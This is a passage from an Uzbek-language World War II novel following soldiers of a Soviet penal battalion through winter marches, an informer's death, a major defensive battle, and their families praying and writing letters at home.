шекилли, ўт ёқишга, ҳар ким ўзига тунаш учун жой ҳозирлаб олишларига рухсат берди. Нуриддин билан Михаил дарров ўтин синдириб келишга отланишди. Сергей, Вадим ва яна бир жангчи тепаликнинг ёнидан тунаш учун жой ҳозирлашга киришдилар. Михаил иккови уч мартадан ўтин ташиб келдилар. Улар ўтин йиғиб бўлгунларича бошпана ҳам тайёр бўлди. Қирғоқнинг қорини айлана қилиб кураб девор ясаб, ерни ўйиб беш киши бемалол кириб ўтирадиган қилибдилар. Гуриллатиб ўт ёқдилар. Этиклар ечилди. Узун таёққа пайтавалар илинди. Котелокка қор солиб сув қайнатдилар. Ҳамма ўзининг халтасини титкилаб озиғини олди. Нуриддин битта консерва олиб Вадимга берди. - Ўзинг е. - У емайди, овора бўлма,- деди Азлар. - Эҳ, Нурик, шу замонда ҳам овқатдан парҳез қиласан,- Вадим қопчиғини титиб икки дона печенье, икки чақмоқ оқ қанд олиб унга берди. Оловни баландроқ қилиб овқатланганларидан кейин ҳаммаси ўтирган жойида мудрай бошлади. - Этикларни кийинглар, йигитлар,- Вадим дик этиб ўрнидан туриб кетди,- ҳалигинга ўхшаб ухлаб қолсак, музлаб қоламиз. Яхшиям, ўшанда Нурик уйғониб кетган, бўлмаса, қотган бўйи у ёққа кетардик. - Гапинг ҳақ,- Михаил зўрға силжиб этиги ва пайтавасини олди-ю, кўзлари юмилиб-юмилиб зўрға пайтавасини ўраб этигини кийди. - Бир-биримизга яқинроқ ўтирайлик,- деди Азлар. Нуриддин Дубов ва Азларнинг ўртасида ўтириб бир дам кўзини юмди... Шу бўйи оёғига биров тепганда кўзини очди. Гречков йигитларни уйғотиб юрарди. - Туринглар, йигитлар, туринглар, йўлга тушамиз. Совуқсираган, совуқдан карахт бўлиб қолган жангчиларни уйғотишга ярим соат вақт кетди. Уларнинг ахволини тушуниб турган комбат кўп ҳам шоширмади. Батальон сафга тургандан кейин тайинлади: - Ҳозир совуқ, ҳамма ёнидаги шеригига жавобгар. Ҳеч ким йўлда йиқилиб қолмасин. Соат ўн икки бўлди. Соат тўртгача йўл юрамиз. Кечки пайт қулайроқ жой топиб тунаймиз. Йўлда овқатланишга, чекишга, гаплашишга рухсат бераман. Яна машаққатли юриш бошланди. Соат учга қадар йўл босдилар. Орада бир марта ўн минутлик тўхталиш берилганини ҳисобга олмаганда деярли тўхтамадилар. Бир маҳал узоқда уйлар қорайиб кўринди. Комбат тўхтади. Дурбинда узоқ тикилди. Сўнг дурбинни Канаевга узатди. - Саккизта уй бор экан, немислар бўлиши мумкинми? - Бунақа кичкина қишлоқларда улар тўхташмайди. Бораверайлик, аниқ - у ерда немислар йўқ. Қишлоқда ҳақиқатдан немислар йўқ эди. Тўртагина уйда одамлар бор экан, улар ҳам қариялар. Уларнинг айтишича, уч кун олдин машиналар, танклар ўтибди. Бу ерда тўхташмабди. - Демак, бу кеча шу ерда тунаймиз. Ҳаммани уйларга тақсимлаб чиқинглар. Ташландиқ уйларнинг бирига Нуриддинлар бўлинмаси жойлашди. Тезда у ёқ-бу ёқни йиғиштириб, печкага ўт ёқиб юбордилар. Хона тез исиди. Печка атрофида ўтириб чой ичдилар. Қиш тушгандан буён биринчи маротаба иссиқ уйда ўтириб танлари яйради, неча вақтлардан буён ечилмаган шинеллар ечилди. Громовдан бошқа ҳамма шундоқ полга шинель ташлаб чўзилди. Уларни эрталаб Громов уйғотди. Йўлга тайёрланишни, ярим соатдан кейин жўнашларини айтди. - Эҳ, шу ерда бир умр қолишга розийдим,- керишиб туриб деди Дубов. - Шундай кунларга ҳам етармиз ҳали,- Вадим унинг елкасига уриб қўйди. Қорин тўқ, уст-бош қуруқ, бир яйраб олган жангчилар уйлардан чиқишиб бир ерга йиғилдилар. Комбатнинг буруғи билан яна йўлга тушдилар. Қош қорайиши олдидан бир тепаликка икки чақирим қолганда тўхтадилар. Тепалик энига чўзилиб кетган, немислар жойлашгани билиниб турарди. - Шу ерда окоп қазишни бошлаймиз. Туни билан ҳамма ўзига жой ҳозирласин. Ҳамма ишга!- комбатнинг буйруғи қисқа ва аниқ бўлди. Яна бешовлон бир ерда ишга киришдилар. Тўхтамасдан ишлаб икки соатда тугатишди. Кавлаган чуқурларини бир-бирига туташтирдилар. Қоронғида темсалаб юриб ёғоч, хода топдилар, окопнинг бир жойига тунайдиган жой қилишиб, чор-атрофини ёпиб олдилар. - Шу ерда тонг оттирамиз. Эрталаб бирор нарса ўйлаб топамиз, иссиқроқ жой қилиб оламиз,- Вадим ерга ўтириб шинели ёқаларини кўтарди. Унинг икки ёнига Нуриддин ва Азлар суқилдилар. Кечаси билан оёқларини таппиллатишиб, елкалари билан бир-бирларини туртиб-туртиб ухладилар. ХХХ Жарима батальони мина майдонидан ўтиб кетганидан кейин армия штабидан дивизияни тезда дарёнинг нариги томонига олиб ўтиш ҳақида кетма-кет буйруқ келди. Бироқ сапёрлар ҳеч бир имкон тополмадилар. Батальон ўтган йўлни эса қор кўмиб кетган, из йўқ. Таваккал деб йўл бошлаган икки йўлбошчи портлаб кетди. Нима қилиш керак? Ҳатто генерал Волоховнинг ўзи келиб майдонни кўздан кечирди. Унинг ёнида келган майор Пирогов ҳам узоқ тикилиб турди. У ёққа юрди, бу ёққа юрди, ниҳоят, бир қарорга келди, шекилли, генералга мурожаат қилди. - Ўртоқ генерал, рухсат берсангиз, дивизияни майдондан мен олиб ўтсам. - Эсинг жойидами? Йўл топишади. - Қор қалин, излар босилиб кетган. Бошқа иложимиз йўқ. Буйруқни бажаришимиз шарт. Генерал нима дейишни билмай қолди. - Мен сен учун жавоб беролмайман. - Ўз ихтиёрим билан, мана гувоҳлар,- Пирогов ёнидаги офицерларга қаради. Ҳамма жим. Биров бир нарса деёлмади. Пирогов ўзига яраша жасур ва синчков эди. У майдонга тикилиб сал дўмпайиб турган қорни илғай олди. Демак, бу ўша айтилган мослама, ўша ерда портлаган. У қўлига дурбинни олиб эллик қадамлар юриб тўхтади. Ўша ерда туриб иккинчи мосламани ўнг томонда, биринчисидан беш-олти қадам нарида эканини сезди. У ўнг томонга йигирма қадамлар юрди. Таваккал деб олдинга юрди-ю, бироз юриб тўхтади. Ўзича бир нималарни чамалади. Этиги билан қорни секин сидирди. Ерга эгилиб қор сидирилган ерни ушлаб кўрди - қор ости музлаб қолган, муз қаттиқ эди. Ҳа-а, шу ердан одамлар ўтган. Қор депаланган, депаланган ерда муз ҳосил бўлган. У ўз хулосасига ишонди. Шундай бўлса ҳам эҳтиёткорлик билан олдинга юра бошлади. Эллик қадам юриб тағин тўхтади. " Шу ердан ўтишгани аниқ,- фикрлади у,- бир текис, тизза бўйи қор кечиб келяпман, одамлар депалаган жойларнинг таги музлаб қотиб қолган, шунинг учун текис кетяпман, бўлмаса, оёғим бирор чуқурга тушган бўларди". У ўз фикридан қониқиб дадилланди. Шунда каласига бир ўй келди. Ерга ўтирди, эгилиб олдинга қаради. Ўзининг тўғрисини, ён атрофини кузатди. Шунда бир нарсани илғай олди. Ўзи кетаётган йўлнинг қори бошқа ерлардагидан хиёл пастроқ эди. Шундай қилиш илгарироқ хаёлига келмаганидан афсусланди. Ўзи кетаётган йўл батальон ўтган йўл-ку. У ўрнидан туриб орқадагиларга ишора қилди. Уч-тўрт одам унинг изидан йўлга тушди. Шундай қилиб майор Пирогов бутун дивизияни дарё бўйига талофатсиз олиб бора олди. Унинг бу хизмати генерал майор Волоховнинг кўз олдида рўй бергани учун у армия штабига дарҳол ахборот бериб, дивизияни сиёсий бўлим бошлиғи майор Пироговнинг шахсан ўзи мина майдонидан талофатсиз олиб ўтганини айтди. Армия қўмондони генерал полковник Тимофеев Пироговга муддатдан ташқари подполковник унвони берилишини таъкидлаб, яна уни орденга тавсия қилишини билдирди. Шу воқеадан кейин армия сиёсий бўлимининг бошлиғи генерал майор Елисеев Пирогов билан қизиқиб қолди. ХХХ Февралнинг охирларида Нуриддиндан хат келди. У соғ-саломат эканини, душман тобора ортга чекинаётганини, тез кунларда уруш адоғига етишини ёзарди. Мунаввар холанинг боши осмонда. Ўзини қўярга жой тополмайди. Хатни Настяга қайта-қайта ўқитади. Қоғоз-қалам олиб чиқиб Настяга ўзи хат ёздирди. - Айтганларимни ёз, биттаям қолдирма,- таъкидлади у. Маҳалла-кўйдан бошлаб то колхозда нима ишлар бўлаётганигача айтди. Настя кулиб-кулиб унинг айтганларидан тушунганларини қоғозга туширди. - Отангга айтма, у бошқа хат ёзсин. Иккита хат бирданига борса, боламнинг кўнгли кўтарилади. Тушга яқин Шамсиддин тоға ҳам келиб хотинининг қистови билан хат ёзиб Настяга берди. Кечқурун Абдуманноб қори келди. У хурсанд: неча замонлардан буён дараксиз ўғлидан хат келибди. Иккови чол анча муддат чақчақлашиб ўтиришди. Гоҳ иморатдан, гоҳ ибодатдан сўзлашдилар. Хуфтонни бирга ўқиганларидан кейин қори сўраб қолди. - Шамсиддин ака, ғойибдан туриб сафардаги йигитларга дам солса бўладими? Шундай дуолар ҳам борми? - Бор,- деди тоға,- аввало, фарзандингизни худога омонат топширинг. Парвардигор омонатни сақлагувчидир. Насиб этса, болангизнинг бир тукини туширмай ўзингизга қайтаради. Ихлос билан дуо қилинг. Келинг, урушда юрган барча йигитларнинг ҳақига икки ракатдан намоз ўқийлик, дуо қиламиз Иккови намоздан кейин узоқ дуо қилдилар. Қорининг кўзларидан дувиллаб ёшлар тўкилди. Тоғанинг ҳам кўнгли алланечук бўлиб кетди. - Мусофирчиликда юрган ҳар банданинг ортида дуогўйи бўлса, у омон бўлади, қори, " дуо билан эл кўкарар" деган гап бежиз айтилмаган. Худо хоҳласа, дуо билан душманни енгамиз,- қорининг кўнглини кўтарди тоға. Қори кетгандан кейин тоға уйга кирса, Настя боласининг бошини қучоқлаб йиғлаб ўтирибди. - Нима бўлди, қизим, нимага йиғлайсан? - Эридан хат келмаганига анча бўлди, шунга тўсатдан йиғлаб қолди,- Мунаввар хола йиғининг сабабини айтди. - Эринг котта командир. Аскарларнинг олдида доим хат ёзавергани тортинади, қўлиям тегмайди. Минг-минг одамни бошқариш осонми... -Ҳа-а, ҳар хил аскар бор,- билағонлик қилиб эрининг гапини оғзидан олди хола,- бири ейман дейди, бири кияман дейди, бири қочаман, бири қуваман дейди. Мана, Нуриддинжондан хат келди-ю, сани эринг камандир, пана жойда, хавотир олма. Настя холанинг гаидан жилмайди, боласининг сочини силаб бошига юзини босди. Жилмаярди-ю, кўз ёшлари юзларини юварди. - Ҳозир қори икковимиз йигитларга дуо қилдик. Эрингнинг ҳақига ҳам дуо қилдик. Хат бугун бўлмаса, эртага келади. Хавотир олма, кўнглингни тўқ қил. Тоғанинг гапларидан Настянинг кўнгли ёришди. Болани уйғотмоқчи эди, хола унамади. - Болани ташлаб кет. Уйқусини безовта қилма. Сан чиқиб ҳалиндақа... каспегийни ёз. Настя чиқиб кетгандан кейин ўзича ғудранди: - Шундай ёш жувонларнинг, ёш йигитларнинг умрини хазон қилмай Гилтер ўлсин! Яхшиям Исталин боракан, йўлини тўсди, бўлмаса, бутун дунёни қон қақшатарди. - Ёмонга ёмон даво, хотин,- деди-ю, тоға кўрпасига кирди. Хола унинг гапини тушуниб-тушунмай " ҳа-а" деб қўя қолди. ХХХ Маррани эгаллаганларига ҳам бир ҳафтадан ошса ҳам, душман томондан ҳужум бўлмади. Лекин кечаси-ю кундузи тиндирмайди: гоҳ миномётини чийиллатади, Гоҳ тўплар наъра тортади, ҳатто бир сафар самолётлар ҳам бомбардимон қилди. Афтидан шу ерда қаттиқ мудофаа тутмоқчи, шекилли. Бирор марта пиёдалар билан ҳужум бўлмади. Бир неча кундан кейин дивизия қисмлари ҳам етиб келди. Қисмлар улардан уч чақиримча орқада жойлашдилар. Вадимнинг иши пишиқ эди. У ўртоқларини авраб-савраб бошпаналарини мустаҳкамлаб олишга кўндирди. Ёғоч, тахта топиб келдилар. Окопни кнгайтириб, ходаларни териб устидан бир амаллаб тупроқ, хас-хашак ташладилар. Оёқ остига ёғочларни териб чиқдилар. Милтиқ, автомат отадиган туйнк қилиб, уни керак бўлганда очиб-ёпадиган қилдилар. Бу ишларнинг барини битказганларидан сўнг ён атрофдагиларни ҳам шундай қилишга ундади. Қолганларга ҳам баҳоли қудрат ёрдам бердилар. Бекорчиликдан зерикиб қолмаслик учун змас, совуқдан қочиь бажарилди бу ишлар. Кўпинча Азлар Нуриддиннинг ёнига ўтириб олиб урушдан кейин қиладиган ишларини гапириб беради. "Уйга бориб боғ қиламан, кўп олмалар экаман" дейди. Нуриддин ҳам баъзан унга ўзининг орзуларини айтади. Вадим "урушдан кейин тракторчи бўламан, тракторимга колхоздаги энг гўзал қизларни чиқариб олиб колхоз айлантираман", деб кулдиради. Бугун ҳам гаплашиб ўтиришганди Михаил бошини суқди-да, Вадим билан Азларни ташқари имлади - Юринглар сизларга бир нарсани кўрсатаман. Тезроқ. Дубов икковини траншеянинг энг охирига етаклаб бориб орқа томонни кўрсатди. Икки юз қадамлар нарида биров келмоқда эди. У тез-тез у ёқ- бу ёққа қараб қўяр, чамаси, биров кўриб қолишидан хадиксирарди. Улар турган жойни мўлжаллаб келаётган кимса бу ерда ҳеч ким йўқлигига ишонч билан келаётганди. - Бошингларни эгинглар, нақ устимизга келади ҳозир,- Дубов бошини пастга тортди. - Бу - Кружилин, қаёқдан келяптийкин?- сўради Вадим. - Қаёқдан бўларди, штабдан, ахборот бериб келяпти,- Азлар Вадимга маъноли қаради. Учови ҳам пастга ўтиришди. Бироздан кейин уларнинг нақ устидан Кружилин окопга сакради. У ёқ- бу ёғини қоқди-да, тўсатдан орқасида унга қараб ўтирган учовини кўриб қотиб қолди. - Қаёқдан келяпсан, Игорь- сўради Вадим. - Ўзим шундай, айланиб келяпман. - Сени эса комбат излаб юрибди. - Нима иши бор экан? Нимага излайди? - Штабдан сўрашибди, борар экансан. - Мен ўзим ҳозир... - деди-ю, Кружилин тилидан илинди. - Биламиз штабдан келаётганингни. Шунчаки, ўз оғзингдан эшитайлик деб кутиб ўтиргандик. - Йўқ, у ёқда қишлоқ... - Кружилин гапини тўғриламоқчи бўлди-ю, лекин кеч қолганини сезиб тили тутилди. - У ёқда қишлоқ йўқ-ку, Игорь. У ёқда штаб бор, холос. У ерга эса онда- сонда чақимчилар бориб туришади. - Мен штабга бормадим, Ўзим айланиб... - Танца тушгани бордингми?- деди Азлар ғижиниб. - Қанақа танца? - Биронта штаб каламуши сенга гармон чалиб берган, сен танца тушгандирсан. - Йигитлар, нима деяпсизлар? Нимага менга ёпишиб олдинглар? Нимага мени кузатяпсизлар? - Биз сенга ёпишиб олганимиз йўқ, бор, кетавер. Биз бу ерда Гречковнинг топшириғи бўйича душман позициясини кузатяпмиз. Ўзинг тўғри бизнинг устимизга келдинг. Душманга ҳам бу ерда одам борлигини билдириб қўйдинг. Кружилин нима дейишни билмай серрайиб қолди. - Бор, кетавер,- деди Вадим, пича ўйланиб туриб қўшиб қўйди,- хоҳласанг, биз билан қолиб кузат. Агар немис билиб қолган бўлса, ҳозир шу ерга минмётдан отади. Унинг гапига фаришта омин дедими, шу дамда миномёт чийиллади, улардан нарироққа снаряд тушиб портлади. - Кетдик, кетдик бу ердан,- Вадим ўртоқларини четга бошлади. Учови лип-лип этиб Кружилиннинг олдидан ўтишиб ўз марралари сари югуриб кетишди. Кружилин ҳам бўйнини қисиб уларнинг ортидан эргашди. ХХХ Дивизия штабидан келган маълумотга кўра, душманнинг шу кунларда қаттиқ ҳужум қилиши кутилаётганди. Шунинг учун дивизия қўлга киритилган маррани ушлаб қолиш учун қаттиқ тайёргарлик кўрди. Албатта, биринчи зарбани жарима батальони қабул қилиши ва ҳужумнинг асосий зарбасини қайтариши, қолган қисмлар эса икки ёндан айланма зарба бериши лозим эди. Ҳужум объекти батальон жойлашган позиция. Шу ерга душман асосий кучини қаратади. Шу вақтдан фойдаланиб беш-олти чақирим ўнг томондан Трубишев ва Боровкин қисми, беш километр чап томондан бошқа икки қисм айланиб ўтишлари ва душманни қуршовга олишлари режалаштирилди. Генерал майор Волохов қандай бўлмасин немисларни олдинга ўтказмай тўсиб қолиш вазифасини қўйди. "Ортга бир қадам чекинмайсан, чекинганлар отилади", деди у. Ҳар сафаргидай батальондан бир чақиримча орқага тозалов отряди келиб жойлашди. Капитан Рубцов ўз отрядига у томондан келадиган ҳар қандай кимсани ватан хоини сифатида отиш ҳақида буйруқ берди. Пулемётлар ўрнатилди, автоматчилар жойларини эгаллашди. Ҳужум кундузги соат ўн бирда кутилаётганди. Комбат рота командирларига топшириқни етказган бўлса ҳам, уларга жангчилар орасида ваҳима бўлмаслиги учун вақтини айтмади. Фақат ҳар лаҳзада жанг бошланиши мумкинлигини таъкидлади. ХХХ Бандасининг эмас, худонинг айтгани бўлади деб бекорга айтишмаган. Кимнинг пешонасига қандай тақдир ёзилгани ёлғиз яратганга маълум, холос. Ўша тақдир ҳам бандасининг ниятига яраша ёзилади, шекилли. У орқага тозалов отряди келиб жойлашганини ҳам, соат ўн бирда ҳужум бошланишини ҳам билмасди. Окопда ётиб атрофдагиларни кузатди. Биров билан бировнинг иши йўқ. Траншеянинг ҳар сафар ўзи ўтадиган энг чекка жойига келди. Ҳеч ким кузатмаяптимикин деб у ёқ- бу ёққа қараб олгач, секин окопдан чиқди-да, йўлга тушди. Ёзганларини жойида турибдимикин деб ички чўнтагини пайпаслаб кўрди. Ҳаммаси жойида. Ёзган тўрт варақ хисоботи ёнида. Анча юргандан кейин ортига бир қайрилиб қаради - -ҳеч ким йўқ. Қадамини тезлатди. Вақт бўлиб қолибди. Подполковник Пирогов соат ўн бирда уни кутиб ўтиради. Ҳув, ана окоплар ҳам кўриниб қолди. Ўша ерга етиб олса бас, ундан у ёғи икки қадам. Лекин у ана шу окопларга энди ҳеч қачон етиб бора олмаслигини билмасди. Тўсатдан нимадир гумбурлади. Сўнг иккинчиси. Олдигинасида қор аралаш тупроқ осмонга кўтарилди. У ўзини таппа ерга ташлади. Ўрнидан туриши билан яна ва яна ён атрофига снарядлар туша бошлади. Окопларни мўлжаллаб югура бошлади. Ўша ерга етиб олса, қутулади. Очиқ майдонда якка нишон бўлиб қолганини англади. Окопга юз метрлар қолганда пулемёт тариллади. Кўкрагига найзалар кириб, орқасини ўпириб чиқиб кетаётганини идрок қилди. Олдинга гуп этиб қулади, оғзидан қон сизиб чиқди-ю, қотди-қолди. Унинг қони ҳам қизил эмас, қоп-қора эди. ХХХ Артиллерия тайёргарлигидан кейин бу сафар немис пиёдалари тўсатдан ҳужумга ташланди. Одатда улар танклар панасида келишарди. Лекин бу сафар очиқ ҳужумга ўтдилар. - Танклар қани?!- деб юборди Вадим. - Танклар ҳалақит қилади,- ҳазиллашди Дубов. - Бутун бир дивизия бизга қарши ташланди, йигитлар, бардам бўлинглар, бир қадам ортга йўл йўқ,- Гречков ҳар ерда жангчиларга уқтириб ўтарди. Унинг бу гапи замирида " ортингга чекина кўрма, орқада тозалов отряди бор" деган мазмун ҳам бор эдики, буни ҳар бир жангчи яхши англарди. Нуриддин қорда ўрмалаб келаётган қораларга қарата ўқ узар экан, ҳар замонда Азларга кўз қирини ташлаб қўярди. У ҳам бутун диққатини олдинга қаратиб ўқ отарди. - Нур, менга қарама, олдингга қара, олдинга. Бошингни эҳтиёт қил. Ўқингни тежаб ишлат. Бу сафар ҳам қаттиқ ҳужумда қоламиз, шекилли. - Орқамиздаги қисмлар бошқа томонга кетишибди. Бу ерда фақат ўзимиз,- Петрушиннинг овози эшитилди,- Кружилинни кўрмадингларми? Ифлос, ўзининг жойида йўқ. - Каламушнинг инини қара, ўша ердан чиқади,- деди Вадим. Роса бир соат отишма бўлгач, душман ортга қайтди-ю, яна олдинга ташланди. Бу гал ёйилиб ҳужумга ўтдилар. Оралиқни кенгайтириб, ёйилиб олиш ҳақида Гречков қичқириб буйруқ берди. Тинимсиз ўқ отиб келаётган душманни отиш ҳам осон эмасди. Окоп олдига, орқа деворга потраб ўқлар урилар, бош кўтаришнинг имкони йўқ эди. Ҳарқалай, бир соатдан кейин немислар тағин чекинди. Вадим окопдан бошини чиқариб қаради. - Қулоқ солинглар, йигитлар,- деди у,- ён томонларда ҳам отишма овози эшитиляпти, демак ёнимиздан қисмлар ҳам жангга кирибди. - Бироз нафас ростлайлик, ҳозир яна ҳужум қилишади,- Азлар тезда этигини ечди-ю, пайтавасини қайта ўради. Нуриддин эса чўк тушган бўйича пичирлай бошлади. Вадим Михаил ва Азларга уни кўрсатиб имо қилди. Чорак соат пичирлагандан кейин ўзига ва ўртоқларига қараб уч марта "суф-суф" деди. Қўлини дуога очиб, узоқ дуо қилди. - Миша, Нурикнинг кароматини кўрасан,- деб кўз қисиб жилмайди Вадим. Дубов ҳам бошини сарак-сарак қилди. Яна миномётлар отилгандан кейин немислар олдинга ташланишди. Бу сафар олдингисидан кучлироқ ўқлар сели ёпирилди. Жангчилар окопдан бош чиқаролмай қўлларини тепага чиқариб тусмоллаб ота бошладилар. Шу вазиятда Субботинни генерал Волохов алоқага чақирди. - Комбат, бошингни кўтар, бошингни! - Бошимни кўтаролмаяпман, ҳозир оёғимни кўтараман,- деб юборди комбат алам билан. - А?! Нима?! - Бошимни кўтаришга қўйишмаяпти! Бутун дивизия бизга қарши ташланди! - Ҳужумга кўтар батальонни!!!- генералнинг овози таҳдидли эшитилди. - Бош кўтариб бўлмаяпти-ку! Дивизияга қарши қандай қилиб ҳужумга ўтаман?!! - Батальонни ҳужумга кўтар! Трибуналга кетасан!!! Ҳужумга! Тушундингми?! - Тушундим!!! Комбат зарда билан трубкани ташлади-да, ташқарига отилди. Тезда ротникларга алоқачиларни жўнатди. "Ҳозир ҳужумга ўтамиз. Ўзим бошлайман". Унинг буйруғи оғиздан оғизга ўтиб бутун батальонга етди. Тинмай ўқ отилаётган, бош кўтаришнинг имкони йўқ бу вазиятда Субботиннинг таваккал қилишдан бошқа чораси қолмаганди. У пойлаб туриб окопдан ташқари чиқди-ю, бор овози билан бақирди: "Батальон! Ҳужумга-а-а!!!" Дастлаб тайсаллаб туришса ҳам, жангчилар унга эргашдилар. Милтиқлардан, автоматлардан ўқ узиб йиқилиб- туриб бутун батальон олдинга ташланди. " Ё парвардигор, ўзинг сақла, ўзингга омонатман", деб Нуриддин ҳам окопдан чиқди. Югуриб кета туриб милтиқдан отар, мўлжалга олмасданоқ ўқ бўшатарди. Эллик қадам югурмасдан олдинги қатордагилар тўкилиб қолди. Уларнинг ўрнини орқадагилар эгаллади. Нуриддиннинг ихтиёри ўзида бўлмай қолди. У ҳеч нарсани ўйламас, гўё ўзига ўзи тепадан қараб тургандай туюларди. Уни худди биров бошқараётгандай югуриб борарди. Гоҳ ўнгга, гоҳ чапга сакрар, ҳаракатлари назарида жуда секин бўлаётгандай, вақт ўтмаётгандай туюларди. Ўн минутда икки томон аралаш-қуралаш бўлиб кетди. Нуриддиннинг қулоқлари эшитмас, олдидаги қора шарпаларни мўлжаллаб отиб борарди. Кенг далада икки қуюн тўқнашди. Бутун борлиқ чирпирак бўлиб айланди, одамлар чирпирак бўлиб айланди. Орадан бир соат ўтдими, икки соат ўтдими, рўпарадаги олишаётган душман аскарларининг айримлари иккала қўлини кўтара бошладилар. Уларнинг орқасидан, икки ёндан ҳам аскарлар ёпирилиб кела бошлади. Душман қуршовга тушиб қолганди. Уч томондан қўшинлар келиб туташди. Ўртада уч юзга яқин немис аскари қўларини кўтарганча туриб қолди. Уларни тезда қуролсизлантирдилар. Нуриддин бир нуқтага тикилганча қотиб турарди. Азлар унинг ёнига келди, ҳайрият, унга ҳам шикаст етмабди. У ёнидан сувдонни олди-да, Нуриддиннинг оғзига тутди, зўрлаб икки қултум сув ичирди. Нуриддиннинг кўзларидан ёш чиқиб кетди. Танглайи ёпишиб қолгандай сув ичгандан кейингина ўпкасига ҳаво киргандай бўлди. - Соғмисан?- Азлардан сўради. - Мен соғман. Олдиларида Вадим пайдо бўлиб қолди, кейин Дубов. Тўртови бир-бирини унсиз қучоқладилар. - Ахволингни қара, Вадим, ҳеч қаеринг оғримаяптими?- сўради Азлар. - Йў-ўқ,- Вадим гумонсираб ўзига қаради.Шинелининг икки биқини титилиб осилиб қолганди. Вадим бир Азларга, бир шинелига қаради. - Бутунман,- у ўзининг кўкрак, қорнини пайпаслаб кўрди,- ўзинг-чи? Азларнинг шинелини ўқ бир ёнбошидан кириб иккинчисидан чиқиб кетганди. У шинелини ечди, гимнастёркасини кўтарди. Ўқ изи йўқ. - Дубов, сенинг этигинг қани?- сўради Вадим. Михаил бир пой этикда турар, ўнг оёғидаги пайтаваси маҳкам ўралганидан тушиб қолмаганди. - Сал каттароқ эди-да ўзи,- хижолатомуз иршайди у. - Бугун ҳам бизни худо асради, сенинг дуоларинг асради,- Вадим Нуриддинни қучоқлаб олди. ХХХ Бу ғалаба Волохов дивизиясининг шу кунгача эришган энг катта ғалабаси бўлди. Дивизия душманнинг бутут бир армиясига бас кела олди. Уч юздан ортиқ асир қўлга олинди. Жуда катта йўқотишга учраган ғаним қолган-қутган қўшини билан Двина дарёси бўйига чекинди. Душманнинг ҳолдан тойган ҳолда чекинаётганидан хабардор бўлган армия қўмондонлиги уни тўхташга қўймай бор куч-имконият билан таъқиб қилишни буюрди. Бутун дивизия кечқуруноқ йўлга тушди. Танк қисми, артиллерия қисми, тўртта пиёдалар қисми, шу билан батальон ҳам кечаси йўл юрди. Комбат Субботиннинг " мен нима қилай, бор-йўғи йигирма беш нафар одамим қолди?" деган сўроғига Волохов " ҳозирча Боровкин қисмининг олдида борасан, кейинчалик сени тўлдирамиз", деб жавоб берди. Бутун дивизия икки кеча- кундуз тўхтамай йўл босди. Дарё бўйига етиб келишлари биланоқ тезда дарёдан кечиб ўтиб ҳужум қилиш буюрилди. Орқадан берилган артиллериянинг кўмаги билан бир амаллаб дарёдан ўтган қисмлар ҳужумга ташланди. Мақсад душманни дарё бўйига эгалик қилдирмаслик эди. Шиддатли ҳужумдан кейин немислар тағин чекинишди. Бу сафар анча узоқ кетдилар, шекилли. Чунки эртасига дивизиянинг пиёда қисмлари ўн километр олдинга сурилди. Шундагина узоқдан немис қисмлари кўринди. Шу ерда тўхтаб траншеялар барпо қилиш ҳақида буйруқ берилди. Субботинга эса тезда ортга, дарё бўйига қайтиш ва танклар, артиллерия тўпларини олиб ўтиш учун кўприклар қуриш ҳақида топшириқ берилди. - Одамларим оч, ухлаб қолиб йиқилиб тушишяпти, икки кун дам беринг,- дея сўради у генералдан. - Майли, сенга бир кун дам. Аммо беш кунда кўприк тайёр бўлсин,- буюрди генерал. - Менга инженерлар, зарур асбоб-ускуналар керак,- яна сўради комбат,- йигирма бешта одам билан кўприк қуролмайман. - Асбоб-ускуналар етказилади. Трубишев қисмидан бир взвод ёрдамга боради,- генерал сал юмшади,- лекин ҳозироқ йўлга туш. Ҳолдан тойган, ухлаб қолиб йиқилиб тушаётган, оч-наҳор йигирма беш нафар жангчи комбат бошчилигида ортга қайтди. Шу алфозда дарё бўйига етишга комбатнинг кўзи етмасди. Унинг ўзи ҳам аскарлардан камэмасди. Юриб кетаётиб кўзи юмилиб қолар, юраяпман деб хаёл қиларди-ю, ўзига келса, бир ерда тўхтаб турган бўларди. У қор билан юзларини ювди, сал тетиклашгач, дурбинни олиб атрофни кузатди. Улар кетаётган жойдан бир ярим чақиримча жойда қорайиб бир иморат кўринди. У ҳеч кимга индамади-ю, ўша томон кета бошлади. Биров ғинг демай, ҳамма унга эргашди. Комбатнинг назарида узоқ юрдилар. Ниҳоят, ўртада қўққайиб турган бинога етиб келдилар. Бу аввал сигирлар учун ем-хашак сақланган жой бўлиб чиқди. Таассуфки, иморат бут-бутун эди. Ичкари киришлари билан хашак иси димоқларига урилди. Иморатнинг ичи тўла хашак, илиққина эди. - Тешик-туйнук бўлса, хашак билан ёпиб ташланглар,- буюрди комбат. Унинг буйруғи зумда бажарилди. - Мана энди, ҳамма хашак ичига! Аскарлар учун шу тобда бундан-да тотлироқ гап йўқ эди. Ҳамма ўзига қулайроқ жой тайёрлашга киришиб кетди. Ярим соат ўтмай, ҳамма донг қотди-қолди. ХХХ Биринчи бўлиб Корзун кўзини очди. У хашак ичидан чиқиб ташқарига қаради. Кун ботиш арафасида эди. Совуқ суяк-суягидан ўтиб кетганидан баданларини шунча ишқаса ҳам қизимади. Гимнастика қилди. Ётди- турди. Бориб комбатни уйғотди. У соатига қараб шунча ухладикми дегандай Корзунга боқди. - Батальон! Подём! Туринглар, йигитлар! Жангчилар бирин-кетин зўр-базўр ўринларидан туришиб ташқари чиқдилар. Кун ботган пайтда дарё қирғоғига етиб келгач, ўзларига бошпана қилиб кенг бир чуқурни танлашди. Шоша-пиша шу ерга дарахтларни кесиб келиб устига ходаларни, унинг устидан шох-шаббаларни ташладилар-да, тунаш учун жой тайёрладилар. Эрталаб тонг ёришмасдан барча сафга турди. Нариги қирғоқда тўплар кўриниб турарди. Сол ясаб сузиб ўтган комбат артиллеристлар ва ёрдамга келган инженерлар билан маслаҳатлашди. Инженерларнинг айтишича, бу ерга кўприк қуришнинг имкони йўқ. Тўпларни эса бир амаллаб ўтказса бўлади. - Бу ҳақда генералга ўзингиз ахборот беринг,- деб сўради комбат капитан формасидаги инженердан. - Мен ўзим ахборот бераман. Кўнглингиз тўқ бўлсин. Танклар учун ўзимиз ўтадиган жой топамиз. Сизлар тўплар билан шуғулланинглар,- капитан рози бўлди. Унинг муомаласидан Субботининг кўнгли ёришди. Ёрдамга етиб келган взвод ва артиллеристларнинг кўмаги билан уч кун ичида бутун артиллерия қуролларини дарёдан ўтказишга муваффақ бўлдилар. Тўпларни тортиб кетиш учун машиналар, от-улов етишмасди. Охирида улов етишмаган тўртта тўпни арқонлар билан тортиб йўлга тушдилар... 